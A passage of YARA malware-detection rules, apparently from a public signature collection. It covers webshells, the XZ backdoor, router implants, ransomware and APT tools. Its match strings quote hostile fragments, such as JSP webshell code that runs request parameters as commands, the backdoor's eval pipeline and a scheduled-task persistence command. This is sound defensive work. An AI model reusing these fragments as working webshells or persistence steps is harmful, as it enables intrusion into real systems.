		$x1 = "-h server_ip -p server_port -i update_index[0-4] [-r]" ascii fullword
		$s1 = "read_ip" ascii fullword
		$s2 = "open fail.%m" ascii fullword
		$s3 = "ri:h:p:" ascii fullword
		$s4 = "update server list success!" ascii fullword
	condition:
		uint16( 0 ) == 0x457f and filesize < 30KB and ( 1 of ( $x* ) or 3 of them ) or 4 of them
}

rule SIGNATURE_BASE_MAL_LNX_Camarodragon_Horseshell_Oct23 : FILE
{
	meta:
		description = "Detects CamaroDragon's HorseShell implant for routers"
		author = "Florian Roth"
		id = "9e54745f-146f-50a6-b30f-53aaaa6907b5"
		date = "2023-10-06"
		modified = "2023-12-05"
		reference = "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_camaro_dragon_oct23.yar#L27-L56"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "73adaa286b345cffd35e6ba017b3204d8818dcaeea8a48ca93959566461ac3ca"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "998788472cb1502c03675a15a9f09b12f3877a5aeb687f891458a414b8e0d66c"
	strings:
		$x1 = "echo \"start shell '%s' failed!\" > .remote_shell.log" ascii fullword
		$x2 = "*****recv NET_REQ_HORSE_SHELL REQ_CONNECT_PORT*****" ascii fullword
		$s1 = "m.cremessage.com" ascii fullword
		$s2 = "POST http://%s/index.php HTTP/1.1" ascii fullword
		$s3 = "wzsw_encrypt_buf" ascii fullword
		$s4 = "body:%d-%s" ascii fullword
		$s5 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident" ascii fullword
		$s6 = "process_http_read_events" ascii fullword
		$op1 = { c4 34 42 00 02 30 63 00 40 10 60 00 09 ae 62 00 48 8e 62 00 cc }
		$op2 = { 27 f4 8c 46 27 f0 03 20 f8 09 00 60 28 21 }
	condition:
		uint16( 0 ) == 0x457f and filesize < 600KB and ( 1 of ( $x* ) or 3 of them ) or 5 of them
}

rule SIGNATURE_BASE_WEBSHELL_JSP_Nov21_1 : FILE
{
	meta:
		description = "Detects JSP webshells"
		author = "Florian Roth (Nextron Systems)"
		id = "117eed28-c44e-5983-b4c7-b555fc06d923"
		date = "2021-11-23"
		modified = "2023-12-05"
		reference = "https://www.ic3.gov/Media/News/2021/211117-2.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_spring4shell.yar#L2-L17"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1dac7706421961c71ba6f8d7a223b80e4b77bf206bfb64ee18c7cc894b062a3c"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "request.getParameter(\"pwd\")" ascii
		$x2 = "excuteCmd(request.getParameter(" ascii
		$x3 = "getRuntime().exec (request.getParameter(" ascii
		$x4 = "private static final String PW = \"whoami\"" ascii
	condition:
		filesize < 400KB and 1 of them
}

rule SIGNATURE_BASE_EXPL_POC_Springcore_0Day_Webshell_Mar22_1 : FILE
{
	meta:
		description = "Detects webshell found after SpringCore exploitation attempts POC script"
		author = "Florian Roth (Nextron Systems)"
		id = "e7047c98-3c60-5211-9ad5-2bfdfb35d493"
		date = "2022-03-30"
		modified = "2023-12-05"
		reference = "https://twitter.com/vxunderground/status/1509170582469943303"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_spring4shell.yar#L36-L50"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "17282b66899356a6051f0b47a7a3f02265737283d760f2256e03a2b934bb63b8"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$x1 = ".getInputStream(); int a = -1; byte[] b = new byte[2048];"
		$x2 = "if(\"j\".equals(request.getParameter(\"pwd\")"
		$x3 = ".getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
	condition:
		filesize < 200KB and 1 of them
}

rule SIGNATURE_BASE_SUSP_Nullsoftinst_Combo_Oct20_1 : FILE
{
	meta:
		description = "Detects suspicious NullSoft Installer combination with common Copyright strings"
		author = "Florian Roth (Nextron Systems)"
		id = "380f30a6-df6b-50c6-bb2d-b8785564bbac"
		date = "2020-10-06"
		modified = "2023-12-05"
		reference = "https://twitter.com/malwrhunterteam/status/1313023627177193472"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_anomalies_keyword_combos.yar#L2-L33"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8aef24295281da5ffa1c6f865eaa6cc8d60ea1df670058220bdb97651b6114cd"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "686b5240e5e503528cc5ac8d764883413a260716dd290f114a60af873ee6a65f"
		hash2 = "93951379e57e4f159bb62fd7dd563d1ac2f3f23c80ba89f2da2e395b8a647dcf"
		hash3 = "a9ca1d6a981ccc8d8b144f337c259891a67eb6b85ee41b03699baacf4aae9a78"
	strings:
		$a1 = "NullsoftInst" ascii
		$b1 = "Microsoft Corporation" wide fullword
		$b2 = "Apache Software Foundation" ascii wide fullword
		$b3 = "Simon Tatham" wide fullword
		$fp1 = "nsisinstall" fullword ascii
		$fp2 = "\\REGISTRY\\MACHINE\\Software\\" wide
		$fp3 = "Apache Tomcat" wide fullword
		$fp4 = "Bot Framework Emulator" wide fullword
		$fp5 = "Firefox Helper" wide fullword
		$fp6 = "Paint.NET Setup" wide fullword
		$fp7 = "Microsoft .NET Services Installation Utility" wide fullword
		$fp8 = "License: MPL 2" wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and $a1 and 1 of ( $b* ) and not 1 of ( $fp* )
}


rule SIGNATURE_BASE_HKTL_MAL_Nighthawk_Nov_2022_1 : NIGHTHAWK BEACON FILE
{
	meta:
		description = "Detect the Nighthawk dropped beacon"
		author = "Arkbird_SOLG"
		id = "a46d5034-e8e3-5c30-90d9-ea97b8384341"
		date = "2022-11-22"
		modified = "2025-07-01"
		reference = "https://web.archive.org/web/20221125224850/https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_nighthawk_c2.yar#L32-L50"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8dec7752ee6e1af87129ce7ac09130f94a20807c4f45ceb1fce434358ac727bf"
		score = 75
		quality = 85
		tags = "NIGHTHAWK, BEACON, FILE"
		hash1 = "0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988"
		hash2 = "9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8"
		hash3 = "f3bba2bfd4ed48b5426e36eba3b7613973226983a784d24d7a20fcf9df0de74e"
	strings:
		$s1 = { 44 8b ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d c0 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d 20 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d 00 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d e0 e8 [2] ff ff 33 d2 e9 ee 04 00 00 48 8d 44 24 68 48 89 44 24 20 41 b9 01 00 00 00 45 33 c0 48 8d 95 a0 00 00 00 ff 15 [2] 09 00 85 c0 0f 85 74 04 00 00 48 89 7c 24 28 48 89 7c 24 20 45 33 c9 45 33 c0 48 8d 15 [2] 0a 00 48 8b 4c 24 68 ff 15 [2] 09 00 85 }
		$s2 = { 4d 85 c0 0f 84 83 00 00 00 49 21 18 33 d2 44 8d 43 01 33 c9 ff 15 [2] 08 00 48 8b f0 48 85 c0 74 6a 44 8d 43 04 48 8b d5 48 8b c8 ff 15 [2] 08 00 48 8b e8 48 85 c0 74 49 48 8d 44 24 70 33 d2 44 8d 4b 24 48 89 44 24 20 4c 8d 44 24 30 48 8b cd ff 15 [2] 08 00 8b }
		$s3 = { 48 85 c0 0f 84 [2] 00 00 4d 8b cc 49 83 7c 24 18 08 72 04 4d 8b 0c 24 4d 8b c5 49 83 7d 18 08 72 04 4d 8b 45 00 49 8b ?? 49 83 ?? 18 08 72 03 49 8b }
		$s4 = { 44 8b 44 24 44 4c 89 [2-3] 89 95 00 02 00 00 2b c7 8b d7 49 03 d0 48 03 d1 4c 8d 8d 00 02 00 00 44 8b c0 49 8b cf ff 15 [2] 04 00 33 d2 85 c0 0f 84 [2] ff ff 03 bd 00 02 00 00 8b 44 24 40 3b f8 48 8b 4d ?? 4c 8b }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 60KB and all of ( $s* )
}

rule SIGNATURE_BASE_BKDR_Xzutil_Script_CVE_2024_3094_Mar24_1 : CVE_2024_3094
{
	meta:
		description = "Detects make file and script contents used by the backdoored XZ library (xzutil) CVE-2024-3094."
		author = "Florian Roth"
		id = "6b62ffc2-d0a7-5810-97a3-c48f7fac300e"
		date = "2024-03-30"
		modified = "2024-04-24"
		reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/bkdr_xz_util_cve_2024_3094.yar#L2-L17"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "d44d0425769fa2e0b6875e5ca25d45b251bbe98870c6b9bef34f7cea9f84c9c3"
		logic_hash = "8d3f5f078a5c827208e04acb7ac1496f473e1236f92561f94d2a3c8156c68ea6"
		score = 80
		quality = 85
		tags = "CVE-2024-3094"
	strings:
		$x1 = "/bad-3-corrupt_lzma2.xz | tr " ascii
		$x2 = "/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|" ascii
		$x3 = "eval $zrKcKQ" ascii
	condition:
		1 of them
}

rule SIGNATURE_BASE_BKDR_Xzutil_Binary_CVE_2024_3094_Mar24_1 : CVE_2024_3094 FILE
{
	meta:
		description = "Detects injected code used by the backdoored XZ library (xzutil) CVE-2024-3094."
		author = "Florian Roth"
		id = "6ccdeb6d-67c4-5358-a76b-aef7f047c997"
		date = "2024-03-30"
		modified = "2024-04-24"
		reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/bkdr_xz_util_cve_2024_3094.yar#L19-L46"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ed364484ff598b0818f9b3249673e684b52394c25b14e47fbca25a5f96ecc970"
		score = 75
		quality = 85
		tags = "CVE-2024-3094, FILE"
		hash1 = "319feb5a9cddd81955d915b5632b4a5f8f9080281fb46e2f6d69d53f693c23ae"
		hash2 = "605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4"
		hash3 = "8fa641c454c3e0f76de73b7cc3446096b9c8b9d33d406d38b8ac76090b0344fd"
		hash4 = "b418bfd34aa246b2e7b5cb5d263a640e5d080810f767370c4d2c24662a274963"
		hash5 = "cbeef92e67bf41ca9c015557d81f39adaba67ca9fb3574139754999030b83537"
		hash6 = "5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049"
	strings:
		$op1 = { 48 8d 7c 24 08 f3 ab 48 8d 44 24 08 48 89 d1 4c 89 c7 48 89 c2 e8 ?? ?? ?? ?? 89 c2 }
		$op2 = { 31 c0 49 89 ff b9 16 00 00 00 4d 89 c5 48 8d 7c 24 48 4d 89 ce f3 ab 48 8d 44 24 48 }
		$op3 = { 4d 8b 6c 24 08 45 8b 3c 24 4c 8b 63 10 89 85 78 f1 ff ff 31 c0 83 bd 78 f1 ff ff 00 f3 ab 79 07 }
		$xc1 = { F3 0F 1E FA 55 48 89 F5 4C 89 CE 53 89 FB 81 E7 00 00 00 80 48 83 EC 28 48 89 54 24 18 48 89 4C 24 10 }
	condition:
		uint16( 0 ) == 0x457f and ( all of ( $op* ) or $xc1 )
}

rule SIGNATURE_BASE_BKDR_Xzutil_Killswitch_CVE_2024_3094_Mar24_1 : CVE_2024_3094
{
	meta:
		description = "Detects kill switch used by the backdoored XZ library (xzutil) CVE-2024-3094."
		author = "Florian Roth"
		id = "0d28bec4-1d3a-5af0-9e9e-49486fcc62e1"
		date = "2024-03-30"
		modified = "2024-04-24"
		reference = "https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01?permalink_comment_id=5006558#gistcomment-5006558"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/bkdr_xz_util_cve_2024_3094.yar#L48-L60"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b2024d4b8346c4f74524bb7f3c6b2850684c19471a00e6fa60fff1c41e4a86b6"
		score = 85
		quality = 85
		tags = "CVE-2024-3094"
	strings:
		$x1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj"
	condition:
		$x1
}

rule SIGNATURE_BASE_Mal_Babbleloader_Win_Jan24 : FILE
{
	meta:
		description = "This rule detects intrinsic patterns of BabbleLoader."
		author = "0x0d4y"
		id = "b2f18ab3-b4df-4e2f-aa23-de8694beb221"
		date = "2025-01-27"
		modified = "2025-03-20"
		reference = "https://0x0d4y.blog/babbleloader-technical-malware-analysis/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_babbleloader_win_jan24.yar#L1-L24"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "fa3d03c319a7597712eeff1338dabf92"
		logic_hash = "d4f7915146b1f3fe50febc231247e14323e9d68a94b2b9c8149a5727c06162ca"
		score = 100
		quality = 85
		tags = "FILE"
		license = "CC BY 4.0"
		rule_matching_tlp = "TLP:WHITE"
		rule_sharing_tlp = "TLP:WHITE"
	strings:
		$str_decryption_algorithm = { 48 63 44 24 ?? 48 8b 4c 24 ?? 0f b6 04 ?? 33 44 ?? ?? 0f b6 4c ?? ?? d2 c8 48 63 4c ?? ?? 48 8b 54 ?? ?? 88 04 0a 6b 44 24 ?? ?? 89 44 ?? ?? 8b 44 24 ?? ff c0 89 44 24 }
		$hashing_algorithm = { 48 8b 44 24 ?? 0f be ?? 89 44 24 ?? 8b 44 24 ?? 89 44 24 ?? 48 8b 44 24 ?? 48 ff c0 48 89 44 24 ?? 83 7c 24 08 ?? ?? ?? 8b 44 24 ?? 8b 0c ?? 03 c8 8b c1 89 04 24 8b 44 24 ?? 05 ?? ?? ?? ?? 8b 0c 24 0f af c8 8b c1 89 04 }
		$halos_gate = { 48 8b 44 24 ?? 0f b6 ?? 83 f8 4c 0f ?? ?? ?? ?? ?? 48 8b 44 ?? ?? 0f b6 ?? ?? 3d 8b ?? ?? ?? 75 ?? 48 8b 44 ?? ?? 0f b6 40 ?? 3d d1 ?? ?? ?? 75 ?? 48 8b 44 ?? ?? 0f b6 40 ?? 3d b8 ?? ?? ?? 75 ?? 48 8b 44 ?? ?? 0f b6 40 ?? 85 c0 75 ?? 48 8b 44 ?? ?? 0f b6 40 ?? 85c0 75 ?? 48 8b 44 ?? ?? 0f b6 40 ?? 88 44 ?? ?? 48 8b 44 24 ?? 0f b6 40 ?? 88 44 ?? ?? 0f b6 44 ?? ?? c1 e0 08 0f b6 4c ?? ?? 0b c1 48 8b 8c ?? ?? ?? ?? ?? 89 01 ?? ?? ?? ?? ?? 48 8b 44 ?? ?? 0f b6 00 3d e9 }
		$get_syscall_offset = { 4d 33 db 4c 8b d9 c3 }
		$jump_syscall_offset = { 4c 8b d1 41 8b 03 41 ff 63 ?? }
	condition:
		uint16( 0 ) == 0x5a4d and $str_decryption_algorithm and $hashing_algorithm and ( 1 of ( $halos_gate , $get_syscall_offset , $jump_syscall_offset ) )
}

rule SIGNATURE_BASE_SUSP_VEST_Encryption_Core_Accumulator_Jan21 : FILE
{
	meta:
		description = "Detects VEST encryption core accumulator in PE file as used by Lazarus malware"
		author = "Florian Roth (Nextron Systems)"
		id = "8343652b-8865-5213-b735-d6d4084e4a84"
		date = "2021-01-28"
		modified = "2023-12-05"
		reference = "https://twitter.com/ochsenmeier/status/1354737155495649280"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lazarus_jan21.yar#L2-L25"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "41fe42b2f2b5fb54b7ff19b74a35aadd928be9a3c7280ee9feffc4a142924b07"
		score = 70
		quality = 85
		tags = "FILE"
		hash1 = "7cd3ca8bdfb44e98a4b9d0c6ad77546e03d169bda9bdf3d1bcf339f68137af23"
	strings:
		$sc1 = { 4F 70 46 DA E1 8D F6 41 59 E8 5D 26 1E CC 2F 89
               26 6D 52 BA BC 11 6B A9 C6 47 E4 9C 1E B6 65 A2
               B6 CD 90 47 1C DF F8 10 4B D2 7C C4 72 25 C6 97
               25 5D C6 1D 4B 36 BC 38 36 33 F8 89 B4 4C 65 A7
               96 CA 1B 63 C3 4B 6A 63 DC 85 4C 57 EE 2A 05 C7
               0C E7 39 35 8A C1 BF 13 D9 52 51 3D 2E 41 F5 72
               85 23 FE A1 AA 53 61 3B 25 5F 62 B4 36 EE 2A 51
               AF 18 8E 9A C6 CF C4 07 4A 9B 25 9B 76 62 0E 3E
               96 3A A7 64 23 6B B6 19 BC 2D 40 D7 36 3E E2 85
               9A D1 22 9F BC 30 15 9F C2 5D F1 23 E6 3A 73 C0 }
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule SIGNATURE_BASE_SUSP_Reversed_Base64_Encoded_EXE : FILE
{
	meta:
		description = "Detects an base64 encoded executable with reversed characters"
		author = "Florian Roth (Nextron Systems)"
		id = "3b52e59e-7c0a-560f-8123-1099c52e7e3d"
		date = "2020-04-06"
		modified = "2025-03-21"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_susp_obfuscation.yar#L62-L83"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0a2f1caf2235ee24f531c9f9a5ebdc0c97a90890218669749a4c83bede80a336"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8"
	strings:
		$s1 = "AEAAAAEQATpVT"
		$s2 = "AAAAAAAAAAoVT"
		$s3 = "AEAAAAEAAAqVT"
		$s4 = "AEAAAAIAAQpVT"
		$s5 = "AEAAAAMAAQqVT"
		$sh1 = "SZk9WbgM1TEBibpBib1JHIlJGI09mbuF2Yg0WYyd2byBHIzlGaU" ascii
		$sh2 = "LlR2btByUPREIulGIuVncgUmYgQ3bu5WYjBSbhJ3ZvJHcgMXaoR" ascii
		$sh3 = "uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV" ascii
	condition:
		filesize < 10000KB and 1 of them
}

rule SIGNATURE_BASE_SUSP_Reversed_Hacktool_Author : FILE
{
	meta:
		description = "Detects a suspicious path traversal into a Windows folder"
		author = "Florian Roth (Nextron Systems)"
		id = "33e20d75-af07-5df2-82c3-c48aec37a947"
		date = "2020-06-10"
		modified = "2025-03-21"
		reference = "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_susp_obfuscation.yar#L100-L114"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3681fb11dabf9905915d23f4198145b503a260d628415fd79ad71d7703ba9f6f"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "iwiklitneg" fullword ascii wide
		$x2 = " eetbus@ " ascii wide
	condition:
		filesize < 4000KB and 1 of them
}

rule SIGNATURE_BASE_SUSP_Base64_Encoded_Hacktool_Dev : FILE
{
	meta:
		description = "Detects a suspicious base64 encoded keyword"
		author = "Florian Roth (Nextron Systems)"
		id = "6dc7db4b-a614-51e4-a9a5-f869154dbbb1"
		date = "2020-06-10"
		modified = "2025-03-21"
		reference = "https://twitter.com/cyb3rops/status/1270626274826911744"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_susp_obfuscation.yar#L116-L136"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7345a528a12f87e5cbcabccf649566a038dd2115e8aec4f39599e357c8c6d57f"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$ = "QGdlbnRpbGtpd2" ascii wide
		$ = "BnZW50aWxraXdp" ascii wide
		$ = "AZ2VudGlsa2l3a" ascii wide
		$ = "QGhhcm1qMH" ascii wide
		$ = "BoYXJtajB5" ascii wide
		$ = "AaGFybWowe" ascii wide
		$ = "IEBzdWJ0ZW" ascii wide
		$ = "BAc3VidGVl" ascii wide
		$ = "gQHN1YnRlZ" ascii wide
	condition:
		filesize < 6000KB and 1 of them
}

rule SIGNATURE_BASE_MAL_RANSOM_Lorenz_May21_1 : FILE
{
	meta:
		description = "Detects Lorenz Ransomware samples"
		author = "Florian Roth (Nextron Systems)"
		id = "0b18a4a3-82da-574b-8d10-daf2176448b9"
		date = "2021-05-04"
		modified = "2023-12-05"
		reference = "Internal Research - DACH TE"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_ransom_lorenz.yar#L1-L28"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "aec940deb2c3bc099a50a2e8f014ae425d306d331078d9ac2abc2ec7b8bf572e"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "4b1170f7774acfdc5517fbe1c911f2bd9f1af498f3c3d25078f05c95701cc999"
		hash2 = "8258c53a44012f6911281a6331c3ecbd834b6698b7d2dbf4b1828540793340d1"
		hash3 = "c0c99b141b014c8e2a5c586586ae9dc01fd634ea977e2714fbef62d7626eb3fb"
	strings:
		$x1 = "process call create \"cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON " ascii fullword
		$x2 = "-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCn7fL/1qsWkJkUtXKZIJNqYfnVByVhK" ascii fullword
		$s1 = "process call create \"cmd.exe /c schtasks /Create /F " ascii fullword
		$s2 = "twr.ini" ascii fullword
		$s3 = "/c wmic /node:'" ascii fullword
		$op1 = { 0f 4f d9 81 ff dc 0f 00 00 5f 8d 4b 0? 0f 4e cb 83 fe 3c 5e 5b }
		$op2 = { 6a 02 e8 ?? ?? 0? 00 83 c4 18 83 f8 01 75 01 cc 6a 00 68 ?? ?? 00 00 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and ( 1 of ( $x* ) or all of ( $op* ) or 3 of them )
}

rule SIGNATURE_BASE_APT_MAL_BKA_Goldenspy_Aug20_1 : FILE
{
	meta:
		description = "Detects variants of GoldenSpy Malware"
		author = "BKA"
		id = "4f47087e-6e68-53ff-9446-72a1751da359"
		date = "2020-08-21"
		modified = "2023-12-05"
		reference = "https://www.bka.de/SharedDocs/Kurzmeldungen/DE/Warnhinweise/200821_Cyberspionage.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_goldenspy.yar#L1-L19"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ba81a2b081842aaf06bbf623640a87946894df83fd0d7b7149c48afa8ed0a081"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$str01 = {c78510ffffff00000000 c78514ffffff0f000000 c68500ffffff00 c78528ffffff00000000 c7852cffffff0f000000 c68518ffffff00 c78540ffffff00000000 c78544ffffff0f000000 c68530ffffff00 c645fc14 80bd04feffff00}
		$str02 = "Ryeol HTTP Client Class" ascii
		$str03 = "----RYEOL-FB3B405B7EAE495aB0C0295C54D4E096-" ascii
		$str04 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\fwkp.exe" ascii
		$str05 = "svmm" ascii
		$str06 = "PROTOCOL_" ascii
		$str07 = "softList" ascii
		$str08 = "excuteExe" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 5 of ( $str* )
}

rule SIGNATURE_BASE_APT_MAL_Winntilinux_Dropper_Azazelfork_May19 : AZAZEL_FORK FILE
{
	meta:
		description = "Detection of Linux variant of Winnti"
		author = "Silas Cutler (havex [@] chronicle.security), Chronicle Security"
		id = "d641de9a-e563-5067-b7e4-0aa83a087ed4"
		date = "2019-05-15"
		modified = "2023-12-05"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_winnti_linux.yar#L1-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "4741c2884d1ca3a40dadd3f3f61cb95a59b11f99a0f980dbadc663b85eb77a2a"
		logic_hash = "0af32675dccfd0ad0c7919683fddced6ad49c65800ffa523773b7342b431379f"
		score = 75
		quality = 85
		tags = "AZAZEL_FORK, FILE"
		version = "1.0"
		TLP = "White"
	strings:
		$config_decr = { 48 89 45 F0 C7 45 EC 08 01 00 00 C7 45 FC 28 00 00 00 EB 31 8B 45 FC 48 63 D0 48 8B 45 F0 48 01 C2 8B 45 FC 48 63 C8 48 8B 45 F0 48 01 C8 0F B6 00 89 C1 8B 45 F8 89 C6 8B 45 FC 01 F0 31 C8 88 02 83 45 FC 01 }
		$export1 = "our_sockets"
		$export2 = "get_our_pids"
	condition:
		uint16( 0 ) == 0x457f and all of them
}

rule SIGNATURE_BASE_APT_MAL_Winntilinux_Main_Azazelfork_May19 : FILE
{
	meta:
		description = "Detection of Linux variant of Winnti"
		author = "Silas Cutler (havex [@] chronicle.security), Chronicle Security"
		id = "a1693e2d-4d89-5cc7-ab14-c8feb000638a"
		date = "2019-05-15"
		modified = "2023-12-05"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_winnti_linux.yar#L18-L39"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "ae9d6848f33644795a0cc3928a76ea194b99da3c10f802db22034d9f695a0c23"
		logic_hash = "3ff38795179f6c32f2ff014b06ac126ae3a0de3fe7515f0e49f12f9c8ff14b43"
		score = 75
		quality = 85
		tags = "FILE"
		version = "1.0"
		TLP = "White"
	strings:
		$uuid_lookup = "/usr/sbin/dmidecode  | grep -i 'UUID' |cut -d' ' -f2 2>/dev/null"
		$dbg_msg = "[advNetSrv] can not create a PF_INET socket"
		$rtti_name1 = "CNetBase"
		$rtti_name2 = "CMyEngineNetEvent"
		$rtti_name3 = "CBufferCache"
		$rtti_name4 = "CSocks5Base"
		$rtti_name5 = "CDataEngine"
		$rtti_name6 = "CSocks5Mgr"
		$rtti_name7 = "CRemoteMsg"
	condition:
		uint16( 0 ) == 0x457f and ( ( $dbg_msg and 1 of ( $rtti* ) ) or ( 5 of ( $rtti* ) ) or ( $uuid_lookup and 2 of ( $rtti* ) ) )
}

rule SIGNATURE_BASE_MAL_EXPL_Perfctl_Oct24 : FILE
{
	meta:
		description = "Detects exploits used in relation with Perfctl malware campaigns"
		author = "Florian Roth"
		id = "1f525eaf-445c-592e-bfa4-e9846390dd1d"
		date = "2024-10-09"
		modified = "2024-12-12"
		reference = "https://www.aquasec.com/blog/perfctl-a-stealthy-malware-targeting-millions-of-linux-servers/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_perfctl_oct24.yar#L2-L21"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "44d4683efc66b3c6c2d32be6b83a2bbc1db39c9a020365dddd27c20667bc6a66"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13"
	strings:
		$s1 = "Exploit failed. Target is most likely patched." ascii fullword
